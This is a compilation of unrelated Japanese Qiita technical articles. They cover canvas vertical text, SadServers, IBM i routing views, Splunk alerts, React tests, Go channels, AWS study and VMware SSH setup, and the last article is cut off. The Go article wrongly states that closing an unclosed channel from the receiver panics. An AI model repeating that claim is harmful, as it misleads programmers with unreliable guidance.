OmniAICreator/Qiita-1.07M huggingface dataset:
【HTML】FirefoxのCanvasでも縦書きしたい！


## すべての始まり

https://x.com/canotun/status/1869814927357292835

そんなまさかね…と思い検証してみたところ…

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/649673/f2933226-5f06-4243-93fe-def46bb10147.png)

<details><summary>ソース</summary>

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>縦書き</title>
  <style>
    canvas {
      border: 1px solid black;
    }
    .vertical {
      writing-mode: vertical-rl;
    }
  </style>
</head>
<body>
  <canvas id="canvas" class="vertical" width="500" height="500"></canvas>
  <script>
    const canvas = document.querySelector("#canvas");
    const context = canvas.getContext("2d");
    context.textBaseline = 'top';
    context.font = "24px serif";
    // x座標を24pxずらしているのは、こうしないとFirefoxでCanvas外に文字が描画されて見えないから
    context.fillText("私は「Foo！やったー！」と思った。", 24, 0);
  </script>
</body>
</html>
```

</details>

はぁ～（クソデカため息）

## という訳でFirefoxをChrome化させる

```js
drawChromeStyleVerticalText(
    document.querySelector("#canvas"),
    "私は「Foo！やったー！」と思った。",
    "24px serif", 100, 100
);

function drawChromeStyleVerticalText(canvas, text, font, x, y) {
    const context = canvas.getContext("2d");
    context.textBaseline = 'top';
    context.font = font;

    if (/^.*Firefox.*$/.test(window.navigator.userAgent)) {
        context.save();
        context.translate(0, 0);
        context.rotate(-Math.PI / 2);
        context.fillText(text, -x, y);
        context.restore();
    }
    else {
        context.fillText(text, x, y);
    }
}
```

```html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>縦書き</title>
  <style>
    canvas {
      border: 1px solid black;
    }
    .vertical {
      writing-mode: vertical-rl;
    }
  </style>
</head>
<body>
  <canvas id="canvas" class="vertical" width="500" height="500"></canvas>
  <script src="main.js"></script>
</body>
</html>
```

### 結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/649673/e666c286-ef10-4139-adfd-e4031c9cdda4.png)

OK！

## おまけ

テキストが縦書きされたキャンバスを生成するライブラリ


https://github.com/mogamoga1024/VerticalTextCanvas
sadserver で遊ぶ 

# 僕トラブルシューティングしかしてません。
基本的にトラブルシューティングが仕事です。というか、ソレばっかりになってしまった（残念すぎる）

# 世の中には「サーバのトラブルを瞬殺できたら褒められる」サイトがあるそうな
ふと、どこかで "sadserver"なるものの存在を知りました。検索したときにちらっとみて記憶したので、どこで拾ったのか忘れた。ごめんなさい。そういうものです。

# sadserver って？
![Screenshot 2025-03-03 at 08-25-32 SadServers - Linux & DevOps Troubleshooting Interviews.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/36229638-757f-4dfb-aa92-f7012c9e7af1.png)

 あー、"🙁" ですね。　私は 😨　のほうが多いですけど。

 # sadserver アカウント登録してみた。
![Screenshot 2025-03-03 at 08-28-16 SadServers - Linux & DevOps Troubleshooting Interviews.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/9b761a58-8488-4e3e-81f7-ae7abd32adf4.png)

* 特にアクティベーションのチェックとかなかったです。面倒ですよねあれ。

## 早速やってみよう
* ５０秒待てというのを無視すると「サーバは動いているのに、何も出来ない」
とかになるので、いい子はおとなしく待ちましょう。←早速やらかした。

![sadserver_001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/1089f9ba-a585-4cfc-a12a-586f743289f9.png)

## 最初の簡単な問題
*  /var/log/badlog なんちゃらが増えて困ってる。
* 悪いプロセスを＊してほしい。（←最近流行りの伏せ字にしろ的なやつ）
* check.sh で機能しているか確認できる
* sudo できんが頼むぞ。１０分だ。

![sadserver_002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/1a153803-5d74-4f42-8e2d-2752bc4c7195.png)

早速間違えて「check.sh がおかしいから直した」らだめでした。そうじゃない。そういう問題じゃない（というか　"修正したらだめぇ"と書かれていた）

* badlog に関係ある文字列を引っ張る

心の声：lsof が使えるなんてなんてゆるいサーバだ！　sudo 出来るのと変わらん！

![sadserver_003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/d373ad52-5495-4efc-b645-6b2c0d055800.png)

* ps | grep badlog で良かった模様。
* kill したら終わった。

![sadserver_004.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/91470/5974565a-55ba-4a1d-9442-f3243c8c774d.png)

## 感想
* 時間が限られてると間違える。
* 初心者用だったので lsof まで必要なかった！
* もっと骨のある問題があるのかもしれない。
* 時間がなかったのでまた今度。
*
IBM i Services Directory : QSYS2.NETSTAT_Route_Info ビュー

5250でのNETSTATコマンド オプション 2. IPV4経路情報の処理　（and/or 5. IPV6経路情報）と同様な結果を返します。
Windowsのコマンドだと　route printコマンドに相当する結果を返します。

## 概要
■ビュー名：QSYS2.NETSTAT_ROUTE_INFO
■カテゴリ：通信サービス
■サポート：IBM i 7.2 SF99702 Level 9以降, Level 11 で拡張
■参照URL（IBM i 7.5）：https://www.ibm.com/docs/ja/i/7.5?topic=services-netstat-route-info-view

## 実行例①

アクティブなIPルーティング情報IPV4 and IPV6 をすべて返します。
```
SELECT * FROM QSYS2.NETSTAT_ROUTE_INFO
  WHERE ROUTE_STATUS = 'YES' OR ROUTE_STATUS = 'ACTIVE' ;
```

実行結果例はこちら、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/c3d0a7d8-5dd8-4cf9-843a-250d95af3758.png)


IPアドレスに加え、MTUほか各種情報が返されます。

右にスクロールさせるとルーティングをバインドしているインターフェース情報等も表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/94f479b5-28cf-4b2b-bc25-dd05d626eafb.png)

### 参考：5250 NETSTAT オプション2.の実行例

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/d805653e-f323-4b5b-a4a5-9e73c318ca2e.png)

全部マスクしちゃったみたいでわかり難いかもですが(^^;

上記でOPT欄に5を入力すると、以下のような詳細情報を表示します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/b670c394-344d-4576-94fb-3f81fae7311a.png)

バインドされているインターフェース情報も表示されますが、情報量はIBM i サービスの方が多いようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/c0f91232-2042-4ce8-aa6e-237964553536.png)
小さな無料サービスをどんどん作る理由――AI時代の新しい実験

「AIがどんどん進歩している今こそ、小さいサービスを思いつくたびにすぐ作って、人に使ってもらえる形にしたい」
そんな気ままな思い付きから生まれたのが[Toolpods（ツールポッド）](https://toolpods.io "Toolpods")です。
無料でいくつものシンプルなサービスを提供して、その反応を見ながら育てていこう、というわけです。

<a href="https://toolpods.io" target="_blank" rel="noopener noreferrer"><img width="300" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3982301/ea951fa0-ae5c-4124-8f31-2e1897511d5f.png"></a>


AIが作ったtoolpodsくん。かわいい

## どうしてToolpodsを作ったのか
### AIによって開発が加速
昔なら時間がかかった工程が、今はAIのサポートでスピーディーに進むようになりました。ひらめきをすぐ形にするために、「じゃあ色んなミニサービスをどんどん作ってみよう」と思ったんです。

### 集客の間口を広げたい
まずは無料で使えるツールがたくさんあれば、多くの人の目に触れるチャンスが増えます。「こんな便利なものがあったのか！」と気軽に触れてもらいたい、そんな狙いがあります。

###  当たるサービスがあればそこに注力
何がヒットするかはわかりません。人気が出そうなものは今後グレードアップしていく計画です。まさに“試行錯誤の連続”ですね。

## 使っている技術について
- Turborepo
- Next.js
- TypeScript
- Hono
- Biome


これらを組み合わせて、フロントとバックエンドを素早く連携できるようにしています。開発スピードを落とさずに、かつ保守もしやすい構成を目指している感じですね。
Honoについては先日別の記事でも紹介しています。

https://qiita.com/kentawata/items/18f331fcefd89e09fe68

## インフラの構成とコストのお話
無料で使えるサービスが多いので、インフラコストも最小限を目指しています。

### Vercel（フロントエンド）
普段からVercelを課金して使っているので、その範囲内で運用。追加サービスを使わなければ、コストも抑えられます。ただし帯域幅が限られるので、大きなデータ転送は避ける方針でバックエンドは分離。

### Cloud Run（バックエンド）
APIサーバーをCloud Runで運用することで、アクセスが少ないときのサーバー代はほぼゼロに。ツールを量産しても、必要な分だけのお支払いですむのがありがたいポイントです。

## 現在利用できるサービス
※ 画像クリックで各サービスが開きます
### 営業日カレンダー
準委任案件に入っている方向け。
2月は稼働日が少なくて社内で「やばい！」となっていたので作りました。
見やすくできたかな？
<a href="https://toolpods.io/calendar" target="_blank" rel="noopener noreferrer"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3982301/59ca2e68-50e9-4f1f-a2eb-fd5ffb314d47.png"></a>


### AI敬語
カジュアル文をビジネスメール用にサッと変換。
地味に便利です。
<a href="https://toolpods.io/ai-keigo" target="_blank" rel="noopener noreferrer"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3982301/1b699807-f389-4eea-921a-845cbde1ae21.png"></a>

### ファビコン作成
Webサイトに必要なファビコンを一括で作成。
Toolpodsを公開するときに欲しくて作りました。
<a href="https://toolpods.io/favicon-generator" target="_blank" rel="noopener noreferrer"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3982301/6b5a8b7e-6bb1-4fa0-adc5-6e8bc1586db7.png"></a>


### 画像トリミング
ちょっとした画像のトリミングなら、ブラウザ上だけで完結。
Toolpodsを公開するときに欲しくて作りました。
<a href="https://toolpods.io/image-crop" target="_blank" rel="noopener noreferrer"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3982301/32cb8e38-2ed4-4430-a3d9-22af8ff791d9.png"></a>


これらはすべて無料で、サクッと使える状態になっています。

## 毎週1つ以上、新しいサービスを追加予定
「とにかくまずは出してみる」というスタイルで、どんどん新しいサービスを投入しています。具体的には、請求書や見積書を作るようなマイクロSaaSも準備中。無料プランでもしっかり使えるようにしたいと考えています。

## もし「こんなサービス欲しい！」があればコメントを
[Toolpods](https://toolpods.io "Toolpods")を作ってみて実感しているのは、「ユーザーさんの声が何よりのアイデア源」ということ。もし「こんなサービスがあったら助かる」というリクエストがあれば、ぜひコメントやメッセージで教えてください。面白そうなものは優先して作ってみようと思います。

## さいごに
AIのおかげで、やってみたいアイデアを素早く形にしやすい時代になりました。[Toolpods](https://toolpods.io "Toolpods")は、その恩恵をフルに活かして無料のちょっとしたサービスを毎週追加し、ユーザーの皆さんと一緒に“当たり”を探していきたいというコンセプトのプロジェクトです。

「試しに触ってみたら意外と便利！」なんて言ってもらえると最高に嬉しいです。ぜひ興味があれば触ってみて、何か思いついたことや要望を教えてください。これからもどんどんアップデートを重ねていきますので、お楽しみに！

## AIすごい
この記事はChatGPT o1 proが9割書きました。
React Testing Library の非同期処理テストで沼った 　【act() 、waitFor()】

## はじめに
React のテストライブラリでは `act()` や `waitFor()` を使って非同期処理を適切に待つ必要があり、これが原因で何度もテストが通らないことがあります。備忘録として記事にまとめました。




## テストの目的

- ユーザーがフォームに入力し、ボタンを押すと、学習記録のリストが 1 つ増えることを確認する
- `data-testid="record-item"` を持つ要素の数をカウントし、登録後に増えていることを期待する

```js
// 初期のリスト数を取得
const initialRecords = (await screen.findAllByTestId("record-item")).length;

// フォーム入力 & 登録ボタンをクリック
await userEvent.type(screen.getByPlaceholderText("テキストを入力"), "React Testing");
await userEvent.type(screen.getByPlaceholderText("0"), "2");
await userEvent.click(screen.getByRole("button", { name: "登録" }));

// 追加後のリスト数をチェック
await waitFor(async () => {
  const newRecords = (await screen.findAllByTestId("record-item")).length;
  expect(newRecords).toBeGreaterThan(initialRecords);
});
```

## 発生したエラー
React Testing Library を使ってフォーム入力と登録ボタンの動作をテストしようとしたが、テストが `record-item` を取得できずに失敗


## エラーの原因
データの取得が完了する前にテストが進行してしまっていたことが原因。具体的には、
1. **データ取得が完了する前に `record-item` を取得しようとしていた**  
   → API からデータが返るのを待つ前に `findAllByTestId("record-item")` を呼んでしまい、0 件のまま `expect(newRecords).toBeGreaterThan(initialRecords);` が失敗

2. **`act()` で状態更新を待っていなかった**  
   → ボタンを押した後の画面の更新を待たずに次の処理が走ってしまい、テストが成功しない



## 修正

### **① `act()` でユーザー操作をラップ**

修正前
```js
await userEvent.click(screen.getByRole("button", { name: "登録" }));
```

修正後
```js
await act(async () => {
  await userEvent.click(screen.getByRole("button", { name: "登録" }));
});
```

`act()` を使うことで、React の状態更新を適切に処理できるように



### **② `waitFor()` で `record-item` の取得を待つ**

修正前
```js
const newRecords = (await screen.findAllByTestId("record-item")).length;
```

修正後
```js
await waitFor(async () => {
  const newRecords = (await screen.findAllByTestId("record-item")).length;
  expect(newRecords).toBeGreaterThan(initialRecords);
});
```

`waitFor()` を使うことで、データ取得が完了するまでテストが進まないようにする


## まとめ

- **非同期処理を伴う UI の変化は `act()` でラップする**
- **API からのデータ取得を待つときは `waitFor()` を使う**
- **エラーが出たら `console.log()` でデータの流れを確認すると原因が見つかりやすい**

React Testing Library で非同期テストを書くときは、`act()` と `waitFor()` を適切に使うことが重要


この方の記事もとても参考になりました
https://oisham.hatenablog.com/entry/2024/01/18/150850
Splunk アラートの抑制方法について

## 最初に :information_desk_person:
データ分析基盤である Splunk のアラート抑制方法を説明します。

* Splunk Enterprise での検証結果です
* Splunk のアラートについての説明は割愛します

### TL;DR :memo:
+ 同じアラートを一定時間抑制できる
+ 特定フィールドの値が同じイベント、についてのアラートも抑制できる

### このページで話すこと
Splunk には便利なアラート機能があります。
ただ、対応が遅れたり夜間休日だと、同じようなアラートが何度も鳴り続けます。

Splunk にはこの対策として、
同じアラートを抑制する方法が二種類あります。

### 検証環境
+ Splunk Enterprise バージョン9
+ クライアントPC： Windows11
+ ブラウザ： Google Chrome でサーチヘッドを使用

※テキスト上のサンプル画像は、docker の `splunk/splunk` image より作成


## アラート抑制について :bell: 
### 同じアラートの抑制
+ アラート設定の**生成条件**を以下のようにする
  - **生成条件**： 1回
  - **抑制**： チェックを入れる
  - **次に対する生成を抑制**： 抑制したい時間

+ 抑制の仕様
  - 同じアラートについては、次回以降の通知で抑制される
  - 「次に対する生成を抑制」の時間が経過すると、再通知されるようになる
    - 例： 抑制期間が1時間なら、1時間後の通知までが抑制され、それ以降の通知は通知されるようになる
    - ただ、この判定は少し微妙で、1時間後でも通知されたり、されなかったりする

◆設定サンプル
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/568441/0984d248-51a6-49d5-9e03-e6b9ddf2d0ab.png)


### 特定フィールドでの抑制
+ アラート設定の**生成条件**を以下のようにする
  - **生成条件**： 各結果に対して
  - **抑制**： チェックを入れる
  - **フィールド値を含む結果を抑制**： 抑制したい値を含むフィールド
    - 例： `user_id` フィールドが同じIDの通知を抑制したいのなら、`user_id` を指定
  - **次に対する生成を抑制**： 抑制したい時間

+ 抑制の仕様
  - 同じフィールド値を持つイベントについては、次回以降の通知で抑制される
  - 前回と異なるフィールド値を持つイベントについては、次回以降の通知で通知される
  - 「次に対する生成を抑制」の時間が経過すると、再通知されるようになる

+ 備考
  - 生成条件が 結果数、カスタム の場合のみ検証
  - おそらく ホスト数、ソース数 でも機能するはず

◆設定サンプル
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/568441/a1784d1e-b70f-4f66-ad9b-366100d5ed43.png)

### 抑制がリセットされるタイミング
+ 「抑制」のチェックをオフにすると、抑制期間がリセットされる
  - 再度オンにすると、次の通知を1回目として抑制が再開される
+ 「次に対する生成を抑制」の数字か単位を変えると、抑制期間がリセットされる
  - 時間を延ばしてもリセットされる（例： 24時間 を 2時間 に変更）
  - ただ、ここの判定は微妙で、リセットされないこともある

### 抑制期間の変更
- 「次に対する生成を抑制」の数字か単位を変えると、前述の通り、抑制期間がリセットされたうえで、新しい抑制期間が有効になる
- ただ、判定が微妙なので、確実に変更を反映したいのなら以下のようにすると安全
  1. 一度「抑制」をオフにして保存
  1. 「次に対する生成を抑制」の内容を変更し、「抑制」をオンにして保存


## 検証例 :mag:
「特定フィールドでの抑制」の場合の検証。
通知タイミングを1時間ごと、生成条件を結果数（0より大きい）、抑制フィールドを `user_id`、抑制期間を12時間で定義。

1. 9:00 に user_id＝A が通知閾値を超え、通知を送信
1. **10:00 に user_id＝A が通知閾値を超えたが、抑制のため通知されない**
1. 11:00 に user_id＝A が通知閾値を超えたが、抑制のため通知されない
1. **11:00 に user_id＝B が通知閾値を超え、通知を送信**
    * **異なるIDなので通知される**
1. 12:00 に user_id＝C が通知閾値を超え、通知を送信
1. 21:00 に user_id＝A が通知閾値を超えたが、抑制のため通知されない
    * 抑制期間の終了時刻ちょうどだと、通知されないことがある
1. **22:00 に user_id＝A が通知閾値を超え、通知を送信**
    * **抑制期間が過ぎたため、通知が再開された**
    * 次に user_id＝A の通知が実施されるのは、最速で翌日11:00

## 所感 :thumbsup: 
「特定フィールドでの抑制」が結構優秀です。

実際の業務でも、
同じユーザに関する通知は大体継続して続きます。

ユーザIDなどのフィールドで抑制することで、
アラート対応中（もしくは休暇中）のノイズ軽減に役立っています。
AWS Cloud Practitioner 合格したので振り返る

## はじめに

AWS Cloud Practitioner に合格することができたので、その振り返りとして使用した教材や勉強法を記事にまとめます。
ちなみに私は以下のような新米エンジニアです。

- 新卒1年目
- 情報系の学部卒
- 保有資格なし
- 大学の時はWeb系企業での短期インターンやSIerでのアルバイトを経験しており、AWSの経験は少しだけある

## 学習期間

1月19日に学習を開始し、2月23日に受験を予定していたため、当初は約1カ月の勉強期間を計画していました。
しかし、試験日の2週間前に突然コロナにかかってしまい、1週間ほどダウンしてしまっていたので、**実際には3週間くらい**勉強して試験に挑みました。

## 使用した教材

- [AWS Cloud Practitioner Essentials (日本語)](https://explore.skillbuilder.aws/learn/course/1875/aws-cloud-practitioner-essentials-japanese-ri-ben-yu-shi-xie-ban)
- [【CLF-C02版】この問題だけで合格可能！AWS 認定クラウドプラクティショナー模擬試験問題集（6回分390問）](https://www.udemy.com/share/101SaA3@Go60UnR3EQDJbtFeWJ0G4_aLKkePFveiGzMMk2bxsoE3ywUBg1nT7yj1uLplLLaIgQ==/)
- [AWS認定資格試験テキスト　AWS認定 クラウドプラクティショナー　改訂第3版 (AWS認定資格試験テキスト)](https://www.amazon.co.jp/AWS%E8%AA%8D%E5%AE%9A%E8%B3%87%E6%A0%BC%E8%A9%A6%E9%A8%93%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88-AWS%E8%AA%8D%E5%AE%9A-%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B7%E3%83%A7%E3%83%8A%E3%83%BC-%E6%94%B9%E8%A8%82%E7%AC%AC3%E7%89%88-%EF%BC%A1%EF%BC%B7%EF%BC%B3%E8%AA%8D%E5%AE%9A%E8%B3%87%E6%A0%BC%E8%A9%A6%E9%A8%93%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88-%E5%B1%B1%E4%B8%8B%E5%85%89%E6%B4%8B/dp/4815625387)

## 各テキストの勉強方法

### AWS Cloud Practitioner Essentials (日本語) 

この教材は、動画形式の教材でした。
内容はコーヒーショップの例が用いられていてわかりやすかったのですが、長時間視聴するのは若干苦しく、サービスの本質や詳細を掴むのには向いていない教材だと感じました。

そのため、この教材はメインで使用する教材というよりも、次紹介する問題集の息抜き程度に見て知らなかった知識をメモするような勉強方法で活用していきました。

### 【CLF-C02版】この問題だけで合格可能！AWS 認定クラウドプラクティショナー模擬試験問題集（6回分390問）

この教材は、Udemy で回答することができる問題集でした。
ちなみに、一番多く勉強したのはこの教材でした。
基本問題2問と、応用問題4問に分かれており、内容は本番に比べるとかなり難しめでした。
特に応用問題は難しく、初回だと正答率が 50% いかないものもありました。
勉強方法としては、以下のような流れで勉強していきました。

1. 問題を解く
2. 間違いノートにまとめる
3. 解説を読み、よく理解できない部分や分かりにくいと感じた部分は 「AWS認定資格試験テキスト」を参照してノートにまとめる
4. 基本問題は90%超えるまで、応用問題は65%超えるまで1 ~ 3 を繰り返す

間違いノートに関しては、以下の記事でその存在を知り、自分なりにやりやすい方法で作成していました。

https://studyhacker.net/machigai-notebook

実際に作成していた間違いノートは以下のような感じです。結構殴り書きなので、字が汚いです（笑）⇩

![unnamed2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2640264/94ab4beb-808c-4424-bd6f-f99ece3c7d81.jpeg)


あと、この問題集だけをやっていると、正直かなり心が折れます（笑）
なので、私は適度にAWS Cloud Practitioner Essentials (日本語) に取り組んで、気分転換をしていました。

### AWS認定資格試験テキスト　AWS認定 クラウドプラクティショナー　改訂第3版 (AWS認定資格試験テキスト)

この教材は、会社の先輩から無償で譲り受けたもので（先輩ありがとうございます！！）、体系的に内容を学ぶならコレ！といった内容です。
しかし、今回私はこのテキストをすべて読む時間はなかったので、問題集の解説をより分かりやすくまとめるための資料としてこのテキストを使いました。

例えば、問題集の解説は AWS CAF や Well-Architected Framework の説明が少ないのですが、テキストではかなり分かりやすく丁寧に説明が書かれており、理解の助けになりました。

## 勉強を続けるために加えてやったこと

一般的に、勉強へのモチベーションを高く保つことは重要だと思います。
私も勉強方法を工夫しましたが、勉強方法を工夫しても私の場合はどうしてもモチベーションが落ちてしまいました。そのため、今回は勉強方法の工夫に加えて**アプリを使って誰かに監視してもらう**という工夫を行いました。

具体的には、学習の記録は [Studyplus](https://app.studyplus.jp/) というアプリで管理していました。

https://app.studyplus.jp/

この Studyplus は毎日の勉強記録をタイムラインで共有することができるのですが、その投稿に毎日「いいね」をしてくれる方がいらっしゃったおかげで、程よく「監視されている感」が出ましたし、モチベーションを高く保って勉強を続けることができました。

## まとめ

今回の AWS Cloud Practitioner は私にとって初めてのIT系資格合格、そして初めてのAWS認定資格取得でした。やっぱり何か試験に合格できることは嬉しいですね。

勉強は正直なところストレスが溜まりましたが、なんとか勉強方法を工夫して乗り越えることができました。一つ反省点があるとすれば、気合を入れ過ぎてしまって常に気を張ってしまっていたことです。
それのせいで、いつも以上に勉強することにストレスを感じてしまっていました。
そのため、次回何か資格試験対策をするときはもうちょっと気楽に勉強していきたいです。
競プロ日記#25/03/02

# [ABC139_B - Power Socket](https://atcoder.jp/contests/abc139/tasks/abc139_b)
- while文で必要な差込口数を超えるかどうかでループさせる
- 1つの差込口だけで良い場合（B ＝ 1）の場合は追加のプラグが不要。つまり答えが0になることに注意。
- 最初のプラグ差込では単純にA個差込口が増える
```
if (B == 1){
    cout << 0 << endl; // 1つの差込口でいい場合は題意より使いのプラグは不要
    return 0;
}
while(total < B){
    if (total == 0){
        total += A; // 一つ目の差し込みでは題で最初に用意されている差し込み口を使うのでA個増える
    }else{
        
        total += (A - 1); // A個させるプラグの1つの差込口を使うのでA - 1
    }
    ansCounter++;
}
```


# アルゴ式-[A + (A+1) + … + B](https://algo-method.com/tasks/426)
- AからBまでの和を求める再帰関数を定義。その際終了地点は「B == A - 1」であることに注意する。（B == Aにすると最期のAが総和に含まれなくなってしまう）
```
int funcSumOfAtoB(int A,int B){
    if (B == A - 1){
        return 0;
    }

    return funcSumOfAtoB(A, B - 1) + B;
}
```
# アルゴ式-[N!!](https://algo-method.com/tasks/9cec80a75caa010e)
- Nが3以上であれば再帰的に求めていけるがＮが1,2の場合は個別に返却値を定義する必要がある
```
long func(int N){
    if (N == 2){
        return  2;
    }
    if (N == 1){
        return  1;
    }

    return func(N  - 2) * N;
    
}
```

- またそもそもの標準入力から2以下のモノが与えられた場合のために以下の様にしたがそもそもfunc()の定義の時点で場合分けしているので不要だった気がする
```
int main() {
    int N;
    cin >> N;

    if (N == 1){
        cout << 1 << endl;
    }

    if (N == 2){
        cout << 2 << endl;
    }

    if (N >= 3){
        cout << func(N) << endl;
    }

}
```
Go言語で学ぶ！rangeとcloseでチャネルから値を取り出す方法と注意点

## はじめに 

Go言語の並行処理において、**チャネル**（channel）はデータをやり取りする重要な仕組みです。その中でも、`range`を使った値の取り出し方や、チャネルを`close`する必要性についてしっかり理解しておくことで、バグのない効率的なコードを書くことができます。

本記事では、`range`と`close`を使ったチャネルの操作方法を具体的な例とともに解説します。また、チャネルを`close`しないと何が起こるのかについても触れます。

## チャネルの基本

チャネルは、Goroutine間でデータを送受信するために使用されます。以下はチャネルの基本的な使い方の例です。

```go
package main

import "fmt"

func main() {
    ch := make(chan int)
    
    go func() {
        ch <- 1
        ch <- 2
        ch <- 3
        close(ch) // チャネルを閉じる
    }()
    
    for val := range ch {
        fmt.Println(val) // チャネルから値を取り出す
    }
}
```

## `range`でチャネルから値を取り出す

`range`を使うと、チャネルが閉じられるまで自動的に値を取り出すことができます。`close`されたチャネルに対しては、値がなくなるとループが終了します。

### メリット
- 明示的な停止条件を書かなくて済む。
- コードが簡潔で分かりやすい。

```go
func main() {
    ch := make(chan string)

    go func() {
        ch <- "Hello"
        ch <- "World"
        close(ch)
    }()

    for msg := range ch {
        fmt.Println(msg) // => "Hello", "World"
    }
}
```

## `close`の役割と重要性

チャネルを`close`することで、チャネルがこれ以上値を送信しないことを明示できます。これにより、`range`を使ったループが安全に終了します。

### `close`しないとどうなる？
- **デッドロック**: `range`を使用している場合、チャネルが閉じられないと無限ループが発生し、プログラムが停止します。
- **リソースリーク**: Goroutineが終了しないことでリソースが解放されず、メモリを浪費します。

```go
func main() {
    ch := make(chan int)

    go func() {
        ch <- 1
        ch <- 2
        // close(ch) を忘れる
    }()

    for val := range ch {
        fmt.Println(val) // 無限ループになる可能性あり
    }
}
```

## チャネルを閉じる際の注意点

1. **送信側が閉じる**
   チャネルを`close`するのは、通常はデータを送信する側の責任です。受信側が閉じるとパニックが発生するため注意が必要です。

```go
   func main() {
       ch := make(chan int)

       // 受信側がcloseを呼び出すとエラー
       close(ch) // パニック発生
   }
```

2. **再度閉じない**
   一度閉じたチャネルを再度閉じようとすると、パニックが発生します。

```go
   func main() {
       ch := make(chan int)
       close(ch)
       close(ch) // パニック発生
   }
```

## 実践的な例

チャネルを活用した典型的なパターンの1つが、ワーカーとプロデューサーのモデルです。ここでも`range`と`close`が重要な役割を果たします。

```go
func main() {
    ch := make(chan int)

    go func() {
        for i := 1; i <= 5; i++ {
            ch <- i
        }
        close(ch) // 作業が終わったらチャネルを閉じる
    }()

    for task := range ch {
        fmt.Println("Processing task:", task)
    }
}
```

## おわりに

`range`と`close`を正しく使うことで、Go言語でのチャネル操作がより安全で効率的になります。`close`を忘れるとデッドロックやリソースリークの原因となるため、意識的に管理しましょう。本記事を参考に、Go言語の並行処理をさらにマスターしてください！
VMware WorkstationのNAT仮想サーバへVSCODEからSSH接続

## 前置き
VMware Workstationを用いて、仮想サーバを立てて検証および作業する方は多いと思います。
ネットワーク設定によって、NAT状態にしている仮想サーバへVSCODEからSSH接続する際の手順の備忘録です。
作業する仮想環境は**Ubuntu22.04**
VMware Workstationのバージョンは**17.5.2**です


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/faa35290-62ba-4fa9-bea4-cf0f1843da01.png)


## 手順１：VirtualBox でポートフォワーディングを設定

```
1.VMware Workstationを開く

2.左のリストから "接続したいサーバを選択" の仮想マシンを起動

3.設定したいサーバを起動してIPを取得しているか確認し、SSHが使用できているか確認します

4.[編集] → [仮想ネットワークエディタ] を開く

5.[VMnet8] タブを確認し、"割り当て" が NAT になっていることを確認した後[NAT設定]を開く

6.[追加] ボタンをクリックしポートフォワーディング設定実施

8.[OK] をクリックして保存
```

#### 工程１ VMware Workstation起動
VMware WorkstationをローカルPCから起動します。
PCにまだインストールが出来ていない場合は昔書いた下記記事を参考にインストールおよびセットアップしてください。
Windowsユーザの方は**Workstation**の記事を参考にしてください。
MaCユーザの方は**Fusion**の記事を参考にしてください。

https://qiita.com/tacky0127/items/527bd9a2a2bbde6b6080

https://qiita.com/tacky0127/items/814d6ffd825648f1b313

#### 工程2 サーバ準備
設定するサーバを選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/3f003841-6a13-4c3c-ba60-7774b5c900b3.png)

#### 工程3 IPアドレス＆ SSH使用状況確認

IPを取得出来ているか確認する
```
ip -br addr
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/8fddd921-3d2c-42a4-a189-2996b0e5a22b.png)

SSHが動いているか確認する
```
systemctl status sshd.service
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/18422c92-6d2a-4307-b5c0-38a670880ceb.png)


:::note info 
**sshがインストールされていなかった場合**
コマンドが利用できず、サーバにない場合は適宜インストールしてください。
```
sudo apt update
sudo apt install -y openssh-server
```
インストール後確認コマンド

```
# 正常に動作していれば、0.0.0.0:22 または *:22 のように表示されます。
ss -tulpn | grep :22
# 正常に動作していればactiveが表示されます。
systemctl status sshd.service
``````
:::

#### 工程4 VMware Workstation設定エディタ起動

VMware Workstationのリボンから **「編集」** を選択する
**「仮想ネットワークエディタ」** を選択する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/b5b832e9-0f92-4f8c-9d74-4f18484a2222.png)

#### 工程5 ポートフォワーディング設定1

設定の変更を押下して管理権限を付与する
ポップアップが表示されたら「変更を許可する」を押下する

**VMnet8**を選択して接続方式が**NAT**になっていることを確認し、**「NAT設定」** を押下する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/4e65d643-dac5-412b-adfb-d64e60b7810c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/670a4f0a-8b2c-4d37-82cd-37ae101750e9.png)

#### 工程6 ポートフォワーディング設定2

ポート転送の追加を選択
